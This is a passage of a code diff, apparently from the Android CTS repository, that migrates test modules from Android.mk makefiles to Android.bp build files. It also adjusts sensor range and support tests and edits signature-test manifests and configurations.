-LOCAL_DX_FLAGS := --core-library
-
-# Don't include this package in any target
-LOCAL_MODULE_TAGS := tests
-
-# When built, explicitly put it in the data partition.
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_DEX_PREOPT := false
-LOCAL_JACK_FLAGS := --multi-dex native
-
-# Keep META-INF/ resources from LOCAL_STATIC_JAVA_LIBRARIES. http://b/62231394
-LOCAL_DONT_DELETE_JAR_META_INF := true
-
-LOCAL_PROGUARD_ENABLED := disabled
-
-# Include both the 32 and 64 bit versions of libjavacoretests,
-# where applicable.
-LOCAL_MULTILIB := both
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_JAVA_RESOURCE_FILES := libcore/expectations/knownfailures.txt
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/tests/libcore/okhttp/Android.bp b/tests/libcore/okhttp/Android.bp
new file mode 100644
index 0000000..5052019
--- /dev/null
+++ b/tests/libcore/okhttp/Android.bp
@@ -0,0 +1,41 @@
+// Copyright (C) 2016 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsLibcoreOkHttpTestCases",
+    defaults: ["cts_support_defaults"],
+    platform_apis: true,
+    static_libs: [
+        "bouncycastle-unbundled",
+        "cts-core-test-runner-axt",
+        "okhttp-nojarjar",
+        "okhttp-tests-nojarjar",
+    ],
+    dex_preopt: {
+        enabled: false,
+    },
+    optimize: {
+        enabled: false,
+    },
+    // Include both the 32 and 64 bit versions of libjavacoretests,
+    // where applicable.
+    compile_multilib: "both",
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    java_resources: [":libcore-expectations-knownfailures"],
+}
diff --git a/tests/libcore/okhttp/Android.mk b/tests/libcore/okhttp/Android.mk
deleted file mode 100644
index eb061da..0000000
--- a/tests/libcore/okhttp/Android.mk
+++ /dev/null
@@ -1,48 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_PACKAGE_NAME := CtsLibcoreOkHttpTestCases
-LOCAL_PRIVATE_PLATFORM_APIS := true
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    bouncycastle-unbundled \
-    cts-core-test-runner-axt \
-    okhttp-nojarjar \
-    okhttp-tests-nojarjar
-
-# Don't include this package in any target
-LOCAL_MODULE_TAGS := tests
-
-# When built, explicitly put it in the data partition.
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_DEX_PREOPT := false
-LOCAL_JACK_FLAGS := --multi-dex native
-
-LOCAL_PROGUARD_ENABLED := disabled
-
-# Include both the 32 and 64 bit versions of libjavacoretests,
-# where applicable.
-LOCAL_MULTILIB := both
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_JAVA_RESOURCE_FILES := libcore/expectations/knownfailures.txt
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/tests/libcore/runner/Android.bp b/tests/libcore/runner/Android.bp
new file mode 100644
index 0000000..2b8c525
--- /dev/null
+++ b/tests/libcore/runner/Android.bp
@@ -0,0 +1,32 @@
+// Copyright (C) 2016 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsLibcoreTestRunner",
+    defaults: ["cts_support_defaults"],
+    sdk_version: "test_current",
+    static_libs: ["cts-core-test-runner-axt"],
+    dex_preopt: {
+        enabled: false,
+    },
+    optimize: {
+        enabled: false,
+    },
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+}
diff --git a/tests/libcore/runner/Android.mk b/tests/libcore/runner/Android.mk
deleted file mode 100644
index 093779b..0000000
--- a/tests/libcore/runner/Android.mk
+++ /dev/null
@@ -1,39 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_PACKAGE_NAME := CtsLibcoreTestRunner
-LOCAL_SDK_VERSION := current
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    cts-core-test-runner-axt
-
-# Don't include this package in any target
-LOCAL_MODULE_TAGS := tests
-
-# When built, explicitly put it in the data partition.
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_DEX_PREOPT := false
-LOCAL_JACK_FLAGS := --multi-dex native
-
-LOCAL_PROGUARD_ENABLED := disabled
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/tests/libcore/wycheproof-bc/Android.bp b/tests/libcore/wycheproof-bc/Android.bp
new file mode 100644
index 0000000..f719b1a
--- /dev/null
+++ b/tests/libcore/wycheproof-bc/Android.bp
@@ -0,0 +1,39 @@
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsLibcoreWycheproofBCTestCases",
+    defaults: ["cts_support_defaults"],
+    platform_apis: true,
+    static_libs: [
+        "cts-core-test-runner-axt",
+        "wycheproof",
+    ],
+    srcs: ["src/**/*.java"],
+    dex_preopt: {
+        enabled: false,
+    },
+    optimize: {
+        enabled: false,
+    },
+    // Include both the 32 and 64 bit versions of libjavacoretests,
+    // where applicable.
+    compile_multilib: "both",
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+    ],
+    java_resources: [":libcore-expectations-knownfailures"],
+}
diff --git a/tests/libcore/wycheproof-bc/Android.mk b/tests/libcore/wycheproof-bc/Android.mk
deleted file mode 100644
index 832a155..0000000
--- a/tests/libcore/wycheproof-bc/Android.mk
+++ /dev/null
@@ -1,48 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_PACKAGE_NAME := CtsLibcoreWycheproofBCTestCases
-LOCAL_PRIVATE_PLATFORM_APIS := true
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    cts-core-test-runner-axt \
-    wycheproof
-
-# Don't include this package in any target
-LOCAL_MODULE_TAGS := tests
-
-# When built, explicitly put it in the data partition.
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under,src)
-
-LOCAL_DEX_PREOPT := false
-LOCAL_JACK_FLAGS := --multi-dex native
-
-LOCAL_PROGUARD_ENABLED := disabled
-
-# Include both the 32 and 64 bit versions of libjavacoretests,
-# where applicable.
-LOCAL_MULTILIB := both
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts
-
-LOCAL_JAVA_RESOURCE_FILES := libcore/expectations/knownfailures.txt
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/tests/libcore/wycheproof/Android.bp b/tests/libcore/wycheproof/Android.bp
new file mode 100644
index 0000000..3a9eb28
--- /dev/null
+++ b/tests/libcore/wycheproof/Android.bp
@@ -0,0 +1,40 @@
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsLibcoreWycheproofConscryptTestCases",
+    defaults: ["cts_support_defaults"],
+    platform_apis: true,
+    static_libs: [
+        "cts-core-test-runner-axt",
+        "wycheproof",
+    ],
+    srcs: ["src/**/*.java"],
+    dex_preopt: {
+        enabled: false,
+    },
+    optimize: {
+        enabled: false,
+    },
+    // Include both the 32 and 64 bit versions of libjavacoretests,
+    // where applicable.
+    compile_multilib: "both",
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    java_resources: [":libcore-expectations-knownfailures"],
+}
diff --git a/tests/libcore/wycheproof/Android.mk b/tests/libcore/wycheproof/Android.mk
deleted file mode 100644
index 0f8fdbf..0000000
--- a/tests/libcore/wycheproof/Android.mk
+++ /dev/null
@@ -1,48 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_PACKAGE_NAME := CtsLibcoreWycheproofConscryptTestCases
-LOCAL_PRIVATE_PLATFORM_APIS := true
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    cts-core-test-runner-axt \
-    wycheproof
-
-# Don't include this package in any target
-LOCAL_MODULE_TAGS := tests
-
-# When built, explicitly put it in the data partition.
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under,src)
-
-LOCAL_DEX_PREOPT := false
-LOCAL_JACK_FLAGS := --multi-dex native
-
-LOCAL_PROGUARD_ENABLED := disabled
-
-# Include both the 32 and 64 bit versions of libjavacoretests,
-# where applicable.
-LOCAL_MULTILIB := both
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_JAVA_RESOURCE_FILES := libcore/expectations/knownfailures.txt
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/tests/mocking/Android.mk b/tests/mocking/Android.mk
deleted file mode 100644
index cfd03be..0000000
--- a/tests/mocking/Android.mk
+++ /dev/null
@@ -1,2 +0,0 @@
-LOCAL_PATH:= $(call my-dir)
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/tests/mocking/extended/Android.bp b/tests/mocking/extended/Android.bp
new file mode 100644
index 0000000..c60f0a3
--- /dev/null
+++ b/tests/mocking/extended/Android.bp
@@ -0,0 +1,43 @@
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+// NOTE: when converting this file to Android.bp, verify that
+// 'atest CtsExtendedMockingTestCases' succeeds.
+
+android_test_helper_app {
+    name: "CtsExtendedMockingTestCases",
+    defaults: ["cts_defaults"],
+    libs: ["android.test.runner.stubs"],
+    static_libs: [
+        "mockito-target-extended",
+        "androidx.test.rules",
+        "ctstestrunner-axt",
+        "dexmaker-mockmaker-tests",
+        "dexmaker-inline-mockmaker-tests",
+        "dexmaker-extended-mockmaker-tests",
+        "android-support-v4",
+    ],
+    compile_multilib: "both",
+    jni_libs: [
+        "libdexmakerjvmtiagent",
+        "libmultiplejvmtiagentsinterferenceagent",
+        "libstaticjvmtiagent",
+    ],
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    sdk_version: "current",
+}
diff --git a/tests/mocking/extended/Android.mk b/tests/mocking/extended/Android.mk
deleted file mode 100644
index 39c4dd2..0000000
--- a/tests/mocking/extended/Android.mk
+++ /dev/null
@@ -1,46 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-# NOTE: when converting this file to Android.bp, verify that
-# 'atest CtsExtendedMockingTestCases' succeeds.
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := \
-    tests
-LOCAL_JAVA_LIBRARIES := \
-    android.test.runner.stubs
-LOCAL_STATIC_JAVA_LIBRARIES = \
-    mockito-target-extended \
-    androidx.test.rules \
-    ctstestrunner-axt \
-    dexmaker-mockmaker-tests \
-    dexmaker-inline-mockmaker-tests \
-    dexmaker-extended-mockmaker-tests \
-    android-support-v4
-LOCAL_MULTILIB := \
-    both
-LOCAL_JNI_SHARED_LIBRARIES := \
-    libdexmakerjvmtiagent \
-    libmultiplejvmtiagentsinterferenceagent \
-    libstaticjvmtiagent
-LOCAL_COMPATIBILITY_SUITE := \
-    cts vts general-tests
-LOCAL_PACKAGE_NAME := \
-    CtsExtendedMockingTestCases
-LOCAL_SDK_VERSION := \
-    current
-include $(BUILD_CTS_PACKAGE)
-
diff --git a/tests/sensor/src/android/hardware/cts/SensorParameterRangeTest.java b/tests/sensor/src/android/hardware/cts/SensorParameterRangeTest.java
index 44135bc..c1c9fab 100644
--- a/tests/sensor/src/android/hardware/cts/SensorParameterRangeTest.java
+++ b/tests/sensor/src/android/hardware/cts/SensorParameterRangeTest.java
@@ -77,23 +77,23 @@
 
     public void testAccelerometerRange() {
         checkSensorRangeAndFrequency(
-                mSensorManager.getDefaultSensor(Sensor.TYPE_ACCELEROMETER),
+                Sensor.TYPE_ACCELEROMETER,
                 ACCELEROMETER_MAX_RANGE,
                 ACCELEROMETER_MIN_FREQUENCY,
                 ACCELEROMETER_MAX_FREQUENCY);
-  }
+    }
 
-  public void testGyroscopeRange() {
+    public void testGyroscopeRange() {
         checkSensorRangeAndFrequency(
-                mSensorManager.getDefaultSensor(Sensor.TYPE_GYROSCOPE),
+                Sensor.TYPE_GYROSCOPE,
                 GYRO_MAX_RANGE,
                 GYRO_MIN_FREQUENCY,
                 GYRO_MAX_FREQUENCY);
-  }
+    }
 
     public void testMagnetometerRange() {
         checkSensorRangeAndFrequency(
-                mSensorManager.getDefaultSensor(Sensor.TYPE_MAGNETIC_FIELD),
+                Sensor.TYPE_MAGNETIC_FIELD,
                 MAGNETOMETER_MAX_RANGE,
                 MAGNETOMETER_MIN_FREQUENCY,
                 MAGNETOMETER_MAX_FREQUENCY);
@@ -102,7 +102,7 @@
     public void testPressureRange() {
         if (mHasHifiSensors) {
             checkSensorRangeAndFrequency(
-                    mSensorManager.getDefaultSensor(Sensor.TYPE_PRESSURE),
+                    Sensor.TYPE_PRESSURE,
                     PRESSURE_MAX_RANGE,
                     PRESSURE_MIN_FREQUENCY,
                     PRESSURE_MAX_FREQUENCY);
@@ -110,8 +110,14 @@
     }
 
     private void checkSensorRangeAndFrequency(
-          Sensor sensor, double maxRange, double minFrequency, double maxFrequency) {
+          int sensorType, double maxRange, double minFrequency, double maxFrequency) {
         if (!mHasHifiSensors && !mVrModeHighPerformance) return;
+
+        Sensor sensor = mSensorManager.getDefaultSensor(sensorType);
+        if (sensor == null) {
+            fail(String.format("Must support sensor type %d", sensorType));
+        }
+
         assertTrue(String.format("%s Range actual=%.2f expected=%.2f %s",
                     sensor.getName(), sensor.getMaximumRange(), maxRange,
                     SensorCtsHelper.getUnitsForSensor(sensor)),
diff --git a/tests/sensor/src/android/hardware/cts/SensorSupportTest.java b/tests/sensor/src/android/hardware/cts/SensorSupportTest.java
index 6fd0865..35d48df 100644
--- a/tests/sensor/src/android/hardware/cts/SensorSupportTest.java
+++ b/tests/sensor/src/android/hardware/cts/SensorSupportTest.java
@@ -22,6 +22,9 @@
 import android.hardware.Sensor;
 import android.hardware.SensorDirectChannel;
 import android.hardware.SensorManager;
+import android.os.Build;
+
+import com.android.compatibility.common.util.PropertyUtil;
 
 /**
  * Checks if Hifi sensors  or VR High performance mode sensors
@@ -61,7 +64,10 @@
     }
 
     public void testSupportsAccelerometerUncalibrated() {
-        checkSupportsSensor(Sensor.TYPE_ACCELEROMETER_UNCALIBRATED);
+        // Uncalibrated accelerometer was not required before Android O
+        if (PropertyUtil.getFirstApiLevel() >= Build.VERSION_CODES.O) {
+            checkSupportsSensor(Sensor.TYPE_ACCELEROMETER_UNCALIBRATED);
+        }
     }
 
     public void testSupportsGyroscope() {
diff --git a/tests/signature/Android.bp b/tests/signature/Android.bp
index 21344ea..5cadd88 100644
--- a/tests/signature/Android.bp
+++ b/tests/signature/Android.bp
@@ -14,6 +14,9 @@
 
 // Compat.
 java_library_host {
-  name: "signature-hostside",
-  static_libs: ["signature-common-javalib"],
+    name: "signature-hostside",
+    visibility: [
+        "//cts/tests/signature/tests",
+    ],
+    static_libs: ["signature-common-javalib"],
 }
diff --git a/tests/signature/TEST_MAPPING b/tests/signature/TEST_MAPPING
index 5e8cc07..1d8741c 100644
--- a/tests/signature/TEST_MAPPING
+++ b/tests/signature/TEST_MAPPING
@@ -46,6 +46,9 @@
       "name": "CtsHiddenApiKillswitchWildcardTestCases"
     },
     {
+      "name": "CtsSystemApiAnnotationTestCases"
+    },
+    {
       "name": "CtsHiddenApiBlacklistApi28TestCases"
     },
     {
diff --git a/tests/signature/api-check/Android.bp b/tests/signature/api-check/Android.bp
index e66d8fe..ceb82a4 100644
--- a/tests/signature/api-check/Android.bp
+++ b/tests/signature/api-check/Android.bp
@@ -31,3 +31,56 @@
         "repackaged.android.test.runner",
     ],
 }
+
+// Defaults for signature api checks.
+java_defaults {
+    name: "signature-api-check-defaults",
+    defaults: ["cts_defaults"],
+    srcs: [
+        "src/**/*.java",
+    ],
+    static_libs: [
+        "cts-api-signature-test",
+    ],
+    jni_libs: [
+        "libclassdescriptors",
+    ],
+    sdk_version: "test_current",
+    compile_multilib: "both",
+}
+
+// Defaults for hiddenapi killswitch checks.
+java_defaults {
+    name: "hiddenapi-killswitch-check-defaults",
+    defaults: ["cts_defaults"],
+
+    compile_multilib: "both",
+    jni_libs: [
+        "libcts_dexchecker",
+        "libclassdescriptors",
+    ],
+    stl: "c++_static",
+
+    // Tag this module as a cts test artifact
+    sdk_version: "test_current",
+    static_libs: ["cts-api-signature-test"],
+}
+
+// Access the hiddenapi-flags.csv file produced by the build.
+hiddenapi_flags {
+    name: "cts-hiddenapi-flags-csv",
+    filename: "hiddenapi-flags.csv",
+}
+
+// Defaults for hiddenapi blacklist checks.
+java_defaults {
+    name: "hiddenapi-blacklist-check-defaults",
+    defaults: ["signature-api-check-defaults"],
+    java_resources: [
+        ":cts-hiddenapi-flags-csv",
+    ],
+    jni_libs: [
+        "libcts_dexchecker",
+    ],
+}
+
diff --git a/tests/signature/api-check/Android.mk b/tests/signature/api-check/Android.mk
index d5b0be2..337f5b9 100644
--- a/tests/signature/api-check/Android.mk
+++ b/tests/signature/api-check/Android.mk
@@ -12,18 +12,5 @@
 # See the License for the specific language governing permissions and
 # limitations under the License.
 
-LOCAL_PATH := $(call my-dir)
-
-# hidden API lists
-# ===================================
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := cts-hiddenapi_flags-csv
-LOCAL_MODULE_STEM := hiddenapi_flags.csv
-LOCAL_MODULE_CLASS := ETC
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-include $(BUILD_SYSTEM)/base_rules.mk
-$(eval $(call copy-one-file,$(INTERNAL_PLATFORM_HIDDENAPI_FLAGS),$(LOCAL_BUILT_MODULE)))
-
-
+LOCAL_PATH:= $(call my-dir)
 include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/tests/signature/api-check/android-test-base-28-api/Android.bp b/tests/signature/api-check/android-test-base-28-api/Android.bp
new file mode 100644
index 0000000..565aad3
--- /dev/null
+++ b/tests/signature/api-check/android-test-base-28-api/Android.bp
@@ -0,0 +1,31 @@
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsAndroidTestBase28ApiSignatureTestCases",
+    defaults: [
+        "signature-api-check-defaults",
+    ],
+    java_resources: [
+        ":cts-android-test-base-current-txt",
+    ],
+    min_sdk_version: "27",
+
+    use_embedded_native_libs: false,
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+}
diff --git a/tests/signature/api-check/android-test-base-28-api/Android.mk b/tests/signature/api-check/android-test-base-28-api/Android.mk
deleted file mode 100644
index 02f3a50..0000000
--- a/tests/signature/api-check/android-test-base-28-api/Android.mk
+++ /dev/null
@@ -1,27 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_PACKAGE_NAME := CtsAndroidTestBase28ApiSignatureTestCases
-
-LOCAL_SIGNATURE_API_FILES := \
-    android-test-base-current.api \
-
-LOCAL_MIN_SDK_VERSION := 25
-LOCAL_SDK_VERSION := 28
-
-include $(LOCAL_PATH)/../build_signature_apk.mk
diff --git a/tests/signature/api-check/android-test-base-28-api/AndroidManifest.xml b/tests/signature/api-check/android-test-base-28-api/AndroidManifest.xml
index e5f1269..dd67533 100644
--- a/tests/signature/api-check/android-test-base-28-api/AndroidManifest.xml
+++ b/tests/signature/api-check/android-test-base-28-api/AndroidManifest.xml
@@ -16,11 +16,12 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-          package="android.signature.cts.api.android_test_base_28">
+          package="android.signature.cts.api.android_test_base_28"
+          android:targetSandboxVersion="2">
     <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
     <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
 
-    <uses-sdk android:minSdkVersion="25" android:targetSdkVersion="28"/>
+    <uses-sdk android:minSdkVersion="27" android:targetSdkVersion="28"/>
 
     <application android:debuggable="true"
                  android:extractNativeLibs="true"
diff --git a/tests/signature/api-check/android-test-base-28-api/AndroidTest.xml b/tests/signature/api-check/android-test-base-28-api/AndroidTest.xml
index cb418e7..4024e9d 100644
--- a/tests/signature/api-check/android-test-base-28-api/AndroidTest.xml
+++ b/tests/signature/api-check/android-test-base-28-api/AndroidTest.xml
@@ -16,15 +16,8 @@
 <configuration description="Config for CTS Android Test Base 28 API Signature test cases">
     <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="systems" />
-    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
-    <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
-        <option name="run-command" value="mkdir -p /data/local/tmp/signature-test" />
-        <option name="teardown-command" value="rm -rf /data/local/tmp/signature-test" />
-    </target_preparer>
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
-        <option name="push" value="android-test-base-current.api->/data/local/tmp/signature-test/android-test-base-current.api" />
-    </target_preparer>
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsAndroidTestBase28ApiSignatureTestCases.apk" />
@@ -33,7 +26,7 @@
         <option name="package" value="android.signature.cts.api.android_test_base_28" />
         <option name="runner" value="repackaged.android.test.InstrumentationTestRunner" />
         <option name="class" value="android.signature.cts.api.api28.test.SignatureTest" />
-        <option name="instrumentation-arg" key="expected-api-files" value="android-test-base-current.api" />
+        <option name="instrumentation-arg" key="expected-api-files" value="android-test-base-current.txt" />
         <option name="runtime-hint" value="5s" />
     </test>
 </configuration>
diff --git a/tests/signature/api-check/android-test-base-current-api/Android.bp b/tests/signature/api-check/android-test-base-current-api/Android.bp
new file mode 100644
index 0000000..8ddb74f
--- /dev/null
+++ b/tests/signature/api-check/android-test-base-current-api/Android.bp
@@ -0,0 +1,30 @@
+// Copyright (C) 2018 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsAndroidTestBaseCurrentApiSignatureTestCases",
+    defaults: [
+        "signature-api-check-defaults",
+    ],
+    java_resources: [
+        ":cts-android-test-base-current-txt",
+    ],
+
+    use_embedded_native_libs: false,
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+}
diff --git a/tests/signature/api-check/android-test-base-current-api/Android.mk b/tests/signature/api-check/android-test-base-current-api/Android.mk
deleted file mode 100644
index 240f087..0000000
--- a/tests/signature/api-check/android-test-base-current-api/Android.mk
+++ /dev/null
@@ -1,24 +0,0 @@
-# Copyright (C) 2018 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_PACKAGE_NAME := CtsAndroidTestBaseCurrentApiSignatureTestCases
-
-LOCAL_SIGNATURE_API_FILES := \
-    android-test-base-current.api \
-
-include $(LOCAL_PATH)/../build_signature_apk.mk
diff --git a/tests/signature/api-check/android-test-base-current-api/AndroidManifest.xml b/tests/signature/api-check/android-test-base-current-api/AndroidManifest.xml
index 44e6018..1467a63 100644
--- a/tests/signature/api-check/android-test-base-current-api/AndroidManifest.xml
+++ b/tests/signature/api-check/android-test-base-current-api/AndroidManifest.xml
@@ -16,7 +16,8 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-          package="android.signature.cts.api.android_test_base_current">
+          package="android.signature.cts.api.android_test_base_current"
+          android:targetSandboxVersion="2">
